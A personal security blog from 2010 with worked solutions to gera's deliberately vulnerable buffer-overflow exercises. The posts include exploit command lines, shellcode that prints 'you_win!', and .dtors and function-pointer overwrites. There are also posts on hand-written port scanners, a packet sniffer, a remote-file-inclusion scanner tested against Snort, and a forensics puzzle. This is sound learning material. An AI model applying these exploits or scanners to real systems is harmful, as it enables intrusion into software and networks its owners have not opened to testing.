Friday, September 17, 2010

Advanced Buffer Overflow #7

/* abo7.c *
* specially crafted to feed your brain by gera */

/* sometimes you can, *
* sometimes you don't *
* that's what life's about */

char buf[256]={1};

int main(int argv,char **argc) {
strcpy(buf,argc[1]);
}

buf is in the .data section, initialzed:

$ nm abo7 | grep buf
08049600 D buf

(gdb) x/x buf
0x8049600 : 0x00000001

.data section starts at 0x080495e0:

(gdb) maintenance info sections

...
0x080495e0->0x08049700 at 0x000005e0: .data ALLOC LOAD DATA HAS_CONTENTS
0x08049700->0x08049704 at 0x00000700: .bss ALLOC
0x00000000->0x0000007e at 0x00000700: .comment READONLY HAS_CONTENTS
0x00000000->0x000000a8 at 0x00000780: .debug_aranges READONLY HAS_CONTENTS
0x00000000->0x00000048 at 0x00000828: .debug_pubnames READONLY HAS_CONTENTS
0x00000000->0x00000375 at 0x00000870: .debug_info READONLY HAS_CONTENTS
0x00000000->0x0000010a at 0x00000be5: .debug_abbrev READONLY HAS_CONTENTS
0x00000000->0x00000244 at 0x00000cef: .debug_line READONLY HAS_CONTENTS
0x00000000->0x00000030 at 0x00000f34: .debug_frame READONLY HAS_CONTENTS
0x00000000->0x000000ae at 0x00000f64: .debug_str READONLY HAS_CONTENTS
(gdb)

and it is 288 bytes:

(gdb) p/d 0x08049700 - 0x080495e0
$1 = 288

0x80495e0 : 0x00000000 0x00000000 0x080494f4 0x00000000
0x80495f0
: 0x00000000 0x00000000 0x00000000 0x00000000

0x8049600 : 0x00000001 0x00000000 0x00000000 0x00000000

I start seeing some sort of error at 2560 As, it starts hitting unaccessible memory:


(gdb) run `perl -e 'print "A"x2560';`
Starting program: /home/dennis/gera/abo7/abo7 `perl -e 'print "A"x2560';`

Program received signal SIGSEGV, Segmentation fault.
0xb7f09ba6 in strcpy () from /lib/tls/libc.so.6

(gdb) x/1000x 0x8049600

...

0x8049ff0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804a000: Cannot access memory at address 0x804a000

Due to how the sections are linked together, nothing useful can be overwritten from where buf is. Confirmed by nm (sorted by addresses):

$ nm -n abo7
...
080495e0 D __data_start
080495e0 W data_start
080495e4 D __dso_handle
080495e8 d p.0
08049600 D buf
08049700 A __bss_start
08049700 A _edata
08049700 b completed.1
08049704 A _end

I'm guessing older versions of gcc/ld arranged it so that the .data section was above .dtors or .got and function pointer manipulation could take place.

Thursday, September 16, 2010

Advanced Buffer Overflow #6

/* abo6.c *
/* specially crafted to feed your brain by gera */

/* wwwhat'u talkin' about? */

int main(int argv,char **argc) {
char *pbuf=malloc(strlen(argc[2])+1);
char buf[256];

strcpy(buf,argc[1]);
strcpy(pbuf,argc[2]);
while(1);
}

stack

eip
ebp
pbuf -> malloc land
.
.
buf

I can overwrite buf with the first strcpy and point pbuf to an arbitrary address. Due to the while loop, main's return address and exit function overwrites are useless.

I can point pbuf to the saved returned address of the future strcpy (second). This strcpy will overwrite its own return address and point it back to an environment variable filled with shellcode.

Where is the future eip going to be and how do I get there?

$ gdb --quiet abo6
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) b main
Breakpoint 1 at 0x8048243: file abo6.c, line 7.
(gdb) b strcpy
Breakpoint 2 at 0x804ed43
(gdb) run `perl -e 'print "A"x268 . "BBBB"';` CCCC
Starting program: /home/dennis/gera/abo6/abo6 `perl -e 'print "A"x268 . "BBBB"';
` CCCC

Breakpoint 1, main (argv=3, argc=0xbffff4c4) at abo6.c:7
7 char *pbuf=malloc(strlen(argc[2])+1);
(gdb) x/x buf
0xbffff170: 0x00000000
(gdb) c
Continuing.

Breakpoint 2, 0x0804ed43 in strcpy ()
(gdb) info frame
Stack level 0, frame at 0xbffff150:
eip = 0x804ed43 in strcpy; saved eip 0x804827a
called by frame at 0xbffff290
Arglist at 0xbffff148, args:
Locals at 0xbffff148, Previous frame's sp is 0xbffff150
Saved registers:
ebp at 0xbffff148, eip at 0xbffff14c

buf starts at 0xbffff170. The first strcpy's saved eip is at 0xbffff14c, this will be the same location for the second strcpy.

(gdb) p/x 0xbffff170 - 0xbffff14c
$1 = 0x24

The saved eip is 0x24 (36) bytes away from buf.

(gdb) p/x 0xbffff170 - 36
$3 = 0xbffff14c

Controlling second strcpy's saved return address proof of concept:

(gdb) delete
Delete all breakpoints? (y or n) y
(gdb) b strcpy
Breakpoint 6 at 0x804ed43
(gdb) run `perl -e 'print "A"x268 . "\x4c\xf1\xff\xbf"';` AAAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/dennis/gera/abo6/abo6 `perl -e 'print "A"x268 . "\x4c\xf
1\xff\xbf"';` AAAA

Breakpoint 6, 0x0804ed43 in strcpy ()
(gdb) c
Continuing.

Breakpoint 6, 0x0804ed43 in strcpy ()
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

When I run it out of the debugger, the addresses change (note to self, the program name length and argument name length changes offsets!). As a hack, I'll add a printf that prints the address of buf:

$ ./test `perl -e 'print "A"x268 . "BBBB"';` `perl -e 'print "CCCC"';`
buf: 0xbffff2f0
Segmentation fault

The saved eip is 36 bytes away from 0xbffff2f0

(gdb) p/x 0xbffff2f0 - 36
$3 = 0xbffff2cc

Stick shellcode into environment:

$ export ABO6=`perl -e 'print "\xeb\x14\x59\x31\xd2\xb2\x08\x31\xdb\x43\x31\xc0\
xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80\xe8\xe7\xff\xff\xffyou_win!";'`
$

Get address of environment variable:

$ cat env6.c
#include <stdio.h>

/* this progname name must be same length as abo6 */

int
main()
{
char *envaddr;

envaddr = getenv("ABO6");
printf("ABO6 is at %p\n", envaddr);
}
$ ./env6
ABO6 is at 0xbffff843

Put it all together:

$ abo6 `perl -e 'print "A"x268 . "\xcc\xf2\xff\xbf"';` `perl -e 'print "\x43\xf8\xff\xbf"';`
you_win!$

Monday, September 13, 2010

Libpcap Practice: getsniff.c

getsniff.c is some libpcap learning code. It parses out GET requests and prints any parameters on their own line:

dennis@ipa:~/projects/sockets/getsniff$ sudo getsniff iwn0
GET http://reddit.com/

GET http://www.reddit.com/

GET http://www.redditmedia.com/ads/

GET http://thumbs.reddit.com/t3_ddgvb.png

GET http://thumbs.reddit.com/t3_dbwsj.png
        v=b90a99afb17f73e6891ea39350cbb4d6d161e842

GET http://thumbs.reddit.com/t3_ddcqm.png

GET http://pixel.reddit.com/pixel/of_destiny.png
        v=SEOdlCDIuRz0EUWp42I59%2FadIj5PU0KFCn7MTSHYJUrNg1rLAFRi5bOCu%2BBU8FPx%2FDUpYarYq4c%3D

GET http://pagead2.googlesyndication.com/pagead/show_ads.js

GET http://www.reddit.com/comscore-iframe/www.reddit.com/

GET http://www.google-/__utm.gif
        utmwv=4.7.2
        utmn=1727842155
        utmhn=www.reddit.com
        utmcs=UTF-8
        utmsr=1280x800
        utmsc=24-bit
        utmul=en-us
        utmje=0
        utmfl=-
        utmdt=reddit.com%3A%20what%27s%20new%20online!
        utmhid=1194339538
        utmr=-
        utmp=%2F
...

Tuesday, September 7, 2010

Sockets Practice: sscan.c

sscan.c is another piece of learning code, this time implementing a syn port scanner using raw sockets and libpcap.

This was also a lesson in patience as it took a 6+ hour debugging session to track down a missing htons() causing invalid TCP checksums--I started drinking at hour 3.

dennis@ipa:~/projects/sockets/sscan$ gcc -Wall -o sscan sscan.c -lpcap
dennis@ipa:~/projects/sockets/sscan$ sudo sscan lo0 127.0.0.1
Password:
22 is open
25 is open
111 is open
587 is open
2049 is open
dennis@ipa:~/projects/sockets/sscan$ sudo sscan iwn0 192.168.0.1
Password:
80 is open
dennis@ipa:~/projects/sockets/sscan$

tcpdump snippet, open port:

18:20:35.455203 127.0.0.1.59341 > 127.0.0.1.22: S [tcp sum ok] 2370039654:2370039654(0) win 65535 (ttl 255, id 44629, len 40)

18:20:35.455227 127.0.0.1.22 > 127.0.0.1.59341: S [tcp sum ok] 189400764:189400764(0) ack 2370039655 win 16384 (DF) (ttl 64, id 7376, len 44)

18:20:35.455238 127.0.0.1.59341 > 127.0.0.1.22: R [tcp sum ok] 2370039655:2370039655(0) win 0 (DF) (ttl 64, id 48987, len 40)

Closed port:

18:20:35.955556 127.0.0.1.30223 > 127.0.0.1.23: S [tcp sum ok] 1512395315:1512395315(0) win 65535 (ttl 255, id 19412, len 40)

18:20:35.955573 127.0.0.1.23 > 127.0.0.1.30223: R [tcp sum ok] 0:0(0) ack 1512395316 win 0 (DF) (ttl 64, id 49789, len 40)

Monday, July 5, 2010

Advanced Buffer Overflow #5

/* abo5.c *
* specially crafted to feed your brain by gera */

/* You take the blue pill, you wake up in your bed, *
* and you believe what you want to believe *
* You take the red pill, *
* and I'll show you how deep goes the rabbit hole */

int main(int argv,char **argc) {
char *pbuf=malloc(strlen(argc[2])+1);
char buf[256];

strcpy(buf,argc[1]);
for (;*pbuf++=*(argc[2]++););
exit(1);
}

If we overflow buf, we can control pbuf to point to wherever. Since we also have a exit(), let's point pbuf at the .dtor section and let the argc[2] for loop copy in an address to our shellcode.

The .dtor (destructor) section in ELF executables is a list of function pointers to functions that run on program exit. The details and exploitation are described in "Overwriting the .dtors section".

main()'s stack frame looks something like:

eip
ebp
pbuf -> somewhere in the heap
.
.
buf

First order, let's control pbuf:

(gdb) run `perl -e 'print "A" x 272';` B C
Starting program: /home/dennis/gera/abo5/abo5 `perl -e 'print "A" x 272';` B C

Breakpoint 1, main (argv=4, argc=0xbffff4c4) at abo5.c:14
14 for (;*pbuf++=*(argc[2]++););
(gdb) x/x pbuf
0x41414141: Cannot access memory at address 0x41414141

Next order, let's take a look at the .dtors section a bit. It is located in the data section (starts at 0x080495e0 in this example) of the binary:

$ nm abo5 | grep -i dtor
080495e4 d __DTOR_END__
080495e0 d __DTOR_LIST__

It is writeable (as seen by the lack of the READONLY option) by default:

$ objdump -h abo5 | grep -A 1 dtor
16 .dtors 00000008 080495e0 080495e0 000005e0 2**2
CONTENTS, ALLOC, LOAD, DATA

Even if the program doesn't define any functions as destructors, the section still exists. It looks like this by default:

$ objdump -s -j .dtors abo5

abo5: file format elf32-i386

Contents of section .dtors:
80495e0 ffffffff 00000000

We will overwrite the 00000000 at 0x80495e4 with an address to our shellcode, but first we need to put the shellcode somewhere and get its address. We will put the shellcode into an environment variable:

$ export ABO5=`perl -e 'print "\xeb\x14\x59\x31\xd2\xb2\x08\x31\xdb\x43
\x31\xc0\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80\xe8\xe7\xff\xff\xffyou_win!";'

Then get the address of the ABO5:

$ cat env5.c
#include

/* this progname name must be same length as abo5 */

int
main()
{
char *envaddr;

envaddr = getenv("ABO5");
printf("ABO5 is at %p\n", envaddr);
}
$ ./env5
ABO5 is at 0xbffff837

Let's put it all together. First, we are overwriting pbuf to point at the .dtors section (0x80495e4). Now, the for loop copies in the address of our shellcode environment variable (0xbffff837) into pbuf (which points to .dtors):

$ abo5 `perl -e 'print "A" x 268 . "\xe4\x95\x04\x08";'` `perl -e 'prin
t "\x37\xf8\xff\xbf";'`
you_win!$

Sunday, July 4, 2010

Advanced Buffer Overflow #4

/* abo4.c *
* specially crafted to feed your brain by gera */

/* After this one, the next is just an Eureka! away */

extern system,puts;
void (*fn)(char*)=(void(*)(char*))&system;

int main(int argv,char **argc) {
char *pbuf=malloc(strlen(argc[2])+1);
char buf[256];

fn=(void(*)(char*))&puts;
strcpy(buf,argc[1]);
strcpy(pbuf,argc[2]);
fn(argc[3]);
while(1);
}

fn sits out in the .data section and pbuf points to some malloc'd memory in the heap.

main's stack frame looks something like:

eip
ebp
pbuf
.
.
buf

We can overflow buf and overwrite what pbuf points to:

(gdb) run `perl -e 'print "A" x 272';` B C
Starting program: /home/dennis/gera/abo4/abo4 `perl -e 'print "A" x 272';` B C

Breakpoint 1, main (argv=4, argc=0xbffff4c4) at abo4.c:15
15 strcpy(pbuf,argc[2]);
(gdb) x/x pbuf
0x41414141: Cannot access memory at address 0x41414141

If we overwrite pbuf to point to fn, we can use the argc[2] strcpy() to overwrite what fn points to. First we need to know where fn is:

$ nm -v abo4 | grep fn
08049728 D fn

Next we need to overwrite pbuf so that it points to fn:

(gdb) run `perl -e 'print "A" x 268 . "\x28\x97\x04\x08"';` BBBB C
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/dennis/gera/abo4/abo4 `perl -e 'print "A" x 268 . "\x28\x97\x04\x08"';` BBBB C

Breakpoint 7, main (argv=4, argc=0xbffff4c4) at abo4.c:15
15 strcpy(pbuf,argc[2]);
(gdb) x/x pbuf
0x8049728
: 0x08048348

Now that we control fn, lets point it back to system() again. Get system()'s location:

(gdb) info functions
All defined functions:

File abo4.c:
int main(int, char **);

Non-debugging symbols:

0x08048310 _init
0x08048338 system@plt

Finally, lets points fn to system():

$ abo4 `perl -e 'print "A" x 268 . "\x28\x97\x04\x08"';` `perl -e 'print "\x38\x83\x04\x08";'` 'echo "you win!"'
you win!

Advanced Buffer Overflow #3

/* abo3.c *
* specially crafted to feed your brain by gera */

/* This'll prepare you for The Next Step */

int main(int argv,char **argc) {
extern system,puts;
void (*fn)(char*)=(void(*)(char*))&system;
char buf[256];

fn=(void(*)(char*))&puts;
strcpy(buf,argc[1]);
fn(argc[2]);
exit(1);
}

main's stack frame looks something like:

eip
ebp
fn
.
.
buf

fn is a function pointer that points at system() and then it is changed to point to puts(), we need to reset this so that it points back to system().

First order of business is to figure out the address of system():

(gdb) x/x system
0x8048318
: 0x96a425ff

Next order is to overflow buf and overwrite fn to point back to system():

268 bytes get us to the start of fn

$ abo3 `perl -e 'print "A" x 268 . "\x18\x83\x04\x08"';` 'echo "you win!"'
you win!

Advanced Buffer Overflow #2

/* abo2.c *
* specially crafted to feed your brain by gera@core-sdi.com */

/* This is a tricky example to make you think *
* and give you some help on the next one */

int main(int argv,char **argc) {
char buf[256];

strcpy(buf,argc[1]);
exit(1);
}

I don't know how to exploit this one.

Overwriting main's saved return address with an address won't get us anywhere because exit() never returns to main--implying main never returns.

The following from exit(1) gave me some hope:

1. Call the functions registered with the atexit(3) function, in
the reverse order of their registration.

and I learned a lot about how this is implemented by reading

Pascal Bouchareine's "__atexit in memory bugs"

but in abo2, we can never get near the __exit_funcs structure to overwrite it

$ cat locs.c
#include <stdio.h>
#include <stdlib.h>

extern void * __exit_funcs;

int main(void)
{
static char scbuf[128];
char *mabuf;
char sbuf[128];

mabuf = (char *) malloc(128);

printf("__exit_funcs at %p\n", __exit_funcs);
printf("malloced at %p\n", mabuf);
printf("static at %p\n", scbuf);
printf("stack at %p\n", sbuf);
return 0;
}

$ gcc locs.c -o locs -static
$ ./locs
__exit_funcs at 0x80b7a60
malloced at 0x80b92e8
static at 0x80b7460
stack at 0xbffff310

The other idea I got from Gray Hat Hacking and also Juan M. Bello Rivas's "Overwriting the .dtors section" was to poke at .dtors, but ran into the same issue as above: can't get near the data to overwrite it:

$ objdump -h abo2

...

16 .dtors 00000008 08049530 08049530 00000530 2**2
CONTENTS, ALLOC, LOAD, DATA


$ objdump -s -j .dtors abo2

abo2: file format elf32-i386

Contents of section .dtors:
8049530 ffffffff 00000000

Thursday, June 24, 2010

Advanced Buffer Overflow #1

/* abo1.c                                       *
* specially crafted to feed your brain by gera */

/* Dumb example to let you get introduced...    */

int main(int argv,char **argc) {
char buf[256];

strcpy(buf,argc[1]);
}


It took 268 bytes to overwrite the saved ebp on the stack and 272 bytes to overwrite the saved eip.



#include <stdio.h>
#include <stdlib.h>

char shellcode[] =
        "\xeb\x14\x59\x31\xd2\xb2\x08\x31\xdb\x43\x31\xc0\xb0\x04\xcd\x80\x31\xc0"
        "\xb0\x01\xcd\x80\xe8\xe7\xff\xff\xffyou_win!";

unsigned long get_sp(void)
{
        __asm__("movl %esp,%eax");
}

int main(int argc, char *argv[])
{
        int i, offset = 0, bsize = 273;
        long addr, *addr_ptr;
        char *buf, *ptr;

        if (argc > 1)
                offset = atoi(argv[1]);

        buf = (char *)malloc(bsize);

        /* guess return address -- a bit educated */
        addr = get_sp() - offset;
        fprintf(stderr, "addr: 0x%x\n", addr);

        /* fill entire buf with return address */
        ptr = buf;
        addr_ptr = (long *)ptr;
        for (i = 0; i < bsize; i += 4)
                *(addr_ptr++) = addr;

        /* fill the first half of buf with NOPs */
        for (i = 0; i < (bsize/2); i++)
                buf[i] = '\x90';

        fprintf(stderr, "shellcode length: %d\n", strlen(shellcode));

        ptr = buf + bsize/2;
        for (i = 0; i < strlen(shellcode); i++)
                *(ptr++) = shellcode[i];

        buf[bsize-1] = '\0';

        fprintf(stderr, "buf length: %d\n", strlen(buf));

        printf("%s", buf);
}


One problem I haven't figured out yet is when I used a "you win!" shellcode, the space character (0x20) was corrupting the stack while it was being strcpy()ied.

"you win!" works fine in the assembly and character array versions, but when dumped in a buffer of nops, shellcode, and return addresses it doesn't play nice.

Changing it to "you_win!" works fine, as seen above.

Shellcode Notes

These are some notes to myself about jmp/call shellcode and how to turn the asm into a character string for exploits.

$ cat sc-gas.asm

.text
.global _start

_start:

jmp marka
markb:
pop %ecx        # pop address of "you_win" into ecx
xor %edx,%edx   # clear edx
mov $0x8, %dl   # put len of string in low order edx
xor %ebx,%ebx   # clear ebx
inc %ebx        # put fd in ebx, 1 == stdout
xor %eax,%eax   # clear eax
mov $0x4, %al   # put syscall number in low order eax, 4 == sys_write
int $0x80

xor %eax, %eax  # clear eax
mov $0x01, %al  # put syscall number in low order eax, 1 == exit
int $0x80

marka:
call markb      # call pushes the next address on the stack
.string "you_win!"

$ as -o sc-gas.o sc-gas.asm
$ ld -o sc-gas sc-gas.o
$ ./sc-gas
you_win!$


Turning the assembly into a character string:

$ objdump -d sc-gas

sc-gas:     file format elf32-i386

Disassembly of section .text:

08048074 <_start>:
8048074:       eb 14                   jmp    804808a 

08048076 :
8048076:       59                      pop    %ecx
8048077:       31 d2                   xor    %edx,%edx
8048079:       b2 08                   mov    $0x8,%dl
804807b:       31 db                   xor    %ebx,%ebx
804807d:       43                      inc    %ebx
804807e:       31 c0                   xor    %eax,%eax
8048080:       b0 04                   mov    $0x4,%al
8048082:       cd 80                   int    $0x80
8048084:       31 c0                   xor    %eax,%eax
8048086:       b0 01                   mov    $0x1,%al
8048088:       cd 80                   int    $0x80

0804808a :
804808a:       e8 e7 ff ff ff          call   8048076 
804808f:       79 6f                   jns    8048100 
8048091:       75 5f                   jne    80480f2 
8048093:       77 69                   ja     80480fe 
8048095:       6e                      outsb  %ds:(%esi),(%dx)
8048096:       21 00                   and    %eax,(%eax)


char shellcode[] =
       "\xeb\x14\x59\x31\xd2\xb2\x08\x31\xdb\x43\x31\xc0\xb0\x04\xcd\x80\x31\xc0"
       "\xb0\x01\xcd\x80\xe8\xe7\xff\xff\xffyou_win!";

int main()
{
       int *ret;

       /* point occupies 4 bytes. ret + 8 points to the saved eip */
       ret = (int *)&ret + 2;
       /* overwrite the saved eip to point to the address of shellcode */
       (*ret) = (int)shellcode;

       /* on return from main, the saved eip is popped from the stack
          which now points to shellcode */
}

$ gcc -o sc sc.c
$ ./sc
you_win!$                                                                          

Tuesday, June 8, 2010

WARMING UP on STACK: stack5.c


/* stack5.c *
* specially crafted to feed your brain by gera */

int main() {
int cookie;
char buf[80];

printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);

if (cookie == 0x000a0d00)
printf("you lose!\n");
}


You have to provide and print your own "you win!" string in stack5. This is your classic buffer overflow exploit: control the saved return address and point it at your provided code.

Start by creating half a buffers worth of NOPs (0x90):


$ perl -e 'print "\x90" x 54;' > nops


I'm still "faking it till I make it" with ASM, so I pieced together the shellcode from various sources. I couldn't get Aleph1's call/jmp method to work--wasn't able to get the offsets right. Next, I stumbled on Charles Stevenson's writehello-core.c shellcode and modified it to meet my needs (Charles code is really understandable).

Here's the rough outline of the ASM:

xor ecx, ecx            ; clear ecx
mul ecx                 ; not sure what this is for
push ecx                ; push NULL onto stack
push 0x216e6977         ; push win! in reverse on stack
push 0x20756f79         ; push you  in reverse on stack
mov dl, 0x8             ; len of string in low order edx
inc ebx                 ; fd, 1 == stdout
mov ecx,esp             ; stack pointer points to "you win!\0", move to ecx
mov al, 0x4             ; syscall, 4 == sys_write in low order eax
int 0x80

xor eax, eax            ; return 0
mov al, 0x01            ; syscall, 1 == exit
int 0x80


Using objdump, scratch __asm__() programs, and gdb's x/#bx command the ASM is transformed into hex (I'm deferring to Greyhat Hacking, Aleph1 and all the other buffer overflow papers out there for an explanation on how to convert the ASM into hex):


$ perl -e 'print "\x31\xdb\xf7\xe3\x53\x68\x77\x69\x6e\x21\x68\x79\x6f\x75\x20\xb2\x08\x43\x89\xe1\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80";' > sc3


Tracking down a return address took some guessing/debugging with gdb. Started off with a bunch of A's:


$ perl -e 'print "A"x108' > of2


I set a breakpoint after we overflow buf and take a look at it:

$ gdb -q stack5
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) b 11
Breakpoint 1 at 0x8048417: file stack5.c, line 11.
(gdb) run < of2
Starting program: /home/dennis/gera/stack5/stack5 < of2
buf: bffff4c0 cookie: bffff51c

Breakpoint 1, main () at stack5.c:11
11              if (cookie == 0x000a0d00)
(gdb) x/10x buf
0xbffff4c0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff4d0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff4e0:     0x41414141      0x41414141
(gdb) 


0xbffff4e0 looks like a good place to start:


$ perl -e 'print "\xe0\xf4\xff\xbf" x 7;' > ret


7 comes from the following math problem:

112 bytes overwrites the saved return address.

112 - 54 (number of nops) - 30 (size of shellcode in bytes) = 28

28 / 4 (address take up 4 bytes) = 7

Let's put it all together:


$ cat nops > of
$ cat sc3 >> of
$ cat ret >> of

$ stack5 < of
buf: bffff4b0 cookie: bffff50c
you win!$

WARMING UP on STACK: stack1.c

I've been supplementing my reading of Gray Hat Hacking, Second Edition: The Ethical Hacker's Handbook with gera's Insecure Programming by example.

/* stack1.c *
* specially crafted to feed your brain by gera */

int main() {
int cookie;
char buf[80];

printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);

if (cookie == 0x41424344)
printf("you win!\n");
}

$ perl -e 'print "A" x 92;' > of
$ echo "DCBA" >> of

$ stack1 < of
buf: bffff4b0 cookie: bffff50c
you win!

WARMING UP on STACK: stack4.c

/* stack4.c *
* specially crafted to feed your brain by gera */

int main() {
int cookie;
char buf[80];

printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);

if (cookie == 0x000a0d00)
printf("you win!\n");
}


The technique used in the other stacks won't work here because gets() uses \n (0x0a) as its end of line character--our input will be truncated before we can completely overwrite cookie. Instead, we'll just jump over the check.

I loaded stack4 into gdb, disassembled main, and pretended to know ASM.

if (cookie == 0x000a0d00) looks like this in ASM:

0x08048417
: cmpl $0xa0d00,0xfffffff4(%ebp)
0x0804841e
: jne 0x8048430

0x08048420
: sub $0xc,%esp

After the test, we have:

0x08048423
: push $0x804855c
0x08048428
: call 0x80482e8

At address 0x08048423 we push the "you win!\n" string onto the stack, then call printf() at address 0x08048428.

Before gets() is called, our stack looks something like:

[.... buf ....][cookie][ebp][ret]

If we feed a string that overflows buf, cookie, ebp, and places 0x08048423 onto the saved return address, on return from main() we will jump to the "you win!\n" printf:


$ perl -e 'print "A" x 108;' > of
$ perl -e 'print "\x23\x84\x04\x08";' >> of

$ stack4 < of
buf: bffff4e0 cookie: bffff53c
you win!
Segmentation fault

WARMING UP on STACK: stack3.c

I think the NULL byte (0x00) was supposed to be the obstacle, but the same technique used for stack1 and stack2 worked here as well. mmishou writes about the why here.

/* stack3.c *
* specially crafted to feed your brain by gera */

int main() {
int cookie;
char buf[80];

printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);

if (cookie == 0x01020005)
printf("you win!\n");
}

$ perl -e 'print "A" x 92;' > of
$ perl -e 'print "\x05\x00\x02\x01";' >> of

$ stack3 < of
buf: bffff4e0 cookie: bffff53c
you win!

WARMING UP on STACK: stack2.c

stack2 is similar to stack1, just uses some hex.

/* stack2.c *
* specially crafted to feed your brain by gera */

int main() {
int cookie;
char buf[80];

printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);

if (cookie == 0x01020305)
printf("you win!\n");
}

$ perl -e 'print "A" x 92;' > of
$ perl -e 'print "\x05\x03\x02\x01";' >> of

$ stack2 < of
buf: bffff4e0 cookie: bffff53c
you win!

Monday, May 17, 2010

Sockets Practice: tpscan.c

tpscan.c is a thread portscanner--some more proof of concept/socket practice.

As expected, it speeds things up nicely:

dennis@ipa:~/projects/sockets/tpscan$ time ./tpscan x.x.x.x
25/smtp is open.
80/www is open.
995/pop3s is open.
0m28.40s real 0m0.00s user 0m0.00s system

dennis@ipa:~/projects/sockets/portscan$ time ./portscan x.x.x.x

Portscanning x.x.x.x (x.x.com)

25/smtp
80/www
995/pop3s

2m15.71s real 0m0.00s user 0m0.01s system

Tuesday, May 4, 2010

Update: rficrawl.c

I turned rficrawl.c from RFI Coverage in Emerging Threats into a RFI scanner, it looks like this now:

dennis@ipa:~/projects/rficrawl$ rficrawl 127.0.0.1 test

Vulnerable: /animals/animals.php?id=
Vulnerable: /OpenSiteAdmin/scripts/classes/DatabaseManager.php?path=
Vulnerable: /OpenSiteAdmin/scripts/classes/FieldManager.php?path=
Vulnerable: /OpenSiteAdmin/scripts/classes/Filter.php?path=
Vulnerable: /OpenSiteAdmin/scripts/classes/Filters/SingleFilter.php?path=
Vulnerable: /OpenSiteAdmin/scripts/classes/Form.php?path=
Vulnerable: /OpenSiteAdmin/scripts/classes/FormManager.php?path=
Vulnerable: /OpenSiteAdmin/scripts/classes/LoginManager.php?path=

Wednesday, April 28, 2010

Sockets Practice: pingscan.c

Some more proof of concept/socket practice, code is here.

dennis@ipa:~/projects/sockets/pingscan$ /home/dennis/projects/randips/randips 50 > ips
dennis@ipa:~/projects/sockets/pingscan$ sudo ./pingscan ips
Password:
71.45.159.69 is alive
126.4.37.254 is alive
pingscan: sendto: Network is unreachable
70.147.201.33 is alive

Monday, April 26, 2010

0x41414141.com: 1 - 3

@jjarmoc pointed me at 0x41414141.com and I spent a few hours with the first 3 challenges.

1: Base64 encoding, decoded it.

2: A PE executable:

bfab4d3c076ac4059f3c1e680c7a6933.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit

Started off with a strings of the binary which showed the following:

Email is return value of fn in form 0x12345678 zero padded to eight digits

Continued on with a objdump -D and pieced together what the ASM was doing. This lead me to the following C program:

#include <stdio.h>

int
main()
{
int val = 0xc0ffee;
int first = 0x401000;
int second = 0x8744ee;

printf("original: 0x%x\n", val);

val = val ^ first;

printf("first transform: 0x%x\n", val);

val = val ^ second;

printf("second transform: 0x%x\n", val);

return 0;
}

At first, I zero-padded the wrong side which lead me to a frustrating multi-hour "what am I missing" hunt.

3: I haven't played with a file format yet, so this challenge was very educational. They provided a PNG image named gzip.png--logo of GZIP.

I tracked down some documents on the PNG file format (1 and 2) and was delighted that it wasn't too difficult to follow. PNG files start with a header which is then followed by various variable length "chunks".

hexdump -Cing the image, I saw the string "email" inside a zTXT chunk--a compressed text string inside the image. zTXT uses zlib to compress the text string and this is where a day of frustrations began.

It turns out that there is a gzip file format, but also a zlib file format--At first, I thought they were the same and didn't know the other existed. At second, the zTXT chunk in this image almost makes sense using both formats.

3.c reads the PNG file, skips to the zTXT chunk and parses out the compressed text.

I took the easy way out and instead of learning and writing a zlib inflater, I used the zlib's API example zpipe.c to uncompress and print the txt.

Tuesday, April 20, 2010

Sockets Practice: ircspider.c

ircspider.c "spiders" IRC channels. Most IRC networks are smarter than me, so during testing I got banned, a lot! It does work on my small, simple test server:

dennis@ipa:~/projects/sockets/ircspider$ ./ircspider 127.0.0.1 6667
connected to 127.0.0.1 (127.0.0.1):6667

read timeout

#hi
dennis!~dennis@localhost
ircspider!~ircspider@localhost
#blah
dennis!~dennis@localhost
ircspider!~ircspider@localhost

I'm ok with it being a PoC and code practice.

Code is here.

Tuesday, April 6, 2010

RFI Coverage in Emerging Threats

ha.ckers posted a Large List of RFIs (1000+) awhile back which caught my eye.

Continuing on with my socket programming practice, I put together rficrawl.c that loops through each remote file include pathname, stuffs it into a GET and launches it at a webserver.

I made a PCAP of the traffic while rficrawl was running and fed it to Snort. Snort was using a default snort.conf configuration file along with the Mar 27th version of Emerging Threats ruleset.

The alert breakdown is over here.

The Mar 26th version of RSnake's RFI list contains 2203 unique RFIs. There were 1541 alerts generated, resulting in about 70% coverage. The majority of them, 1410 alerts (64%) were detected by the generic, catch-all "ET WEB_SERVER PHP Remote File Inclusion (monster list http)" signature.

This leaves 662 currently undetected vulnerabilities!

Wednesday, March 24, 2010

Network Forensics Puzzle Contest: Puzzle #4: The Curious Mr. X

Below are my answers for the Network Forensics Puzzle Contest: Puzzle #4: The Curious Mr. X. I didn't get to this till after the 3/18 deadline, so I wasn't able to officially submit it.

1. What was the IP address of Mr. X's scanner?

10.42.42.253

Look for source IPs sending SYNs:

$ tcpdump -lnr evidence04.pcap 'tcp[13] & 0x02 = 0x02' | cut -d ' ' -f 2 | awk -F '.' '{print $1 "." $2 "." $3 "." $4}' | sort | uniq -c | sort -nr
tcpdump: WARNING: snaplen raised from 116 to 65535
7416 10.42.42.253
27 10.42.42.50
12 10.42.42.25

Verify traffic looks like a scan:

$ tcpdump -lnr evidence04.pcap 'tcp[13] & 0x02 = 0x02' and src host 10.42.42.253 | more

2. For the FIRST port scan that Mr. X conducted, what type of port scan was it? (Note: the scan consisted of many thousands of packets.) Pick one:

TCP Connect - you can see the the full TCP 3-way handshake for open ports.

* TCP SYN - 2nd scan using static source port of 36020 - RST is sent as soon as a SYN/ACK is received for open ports
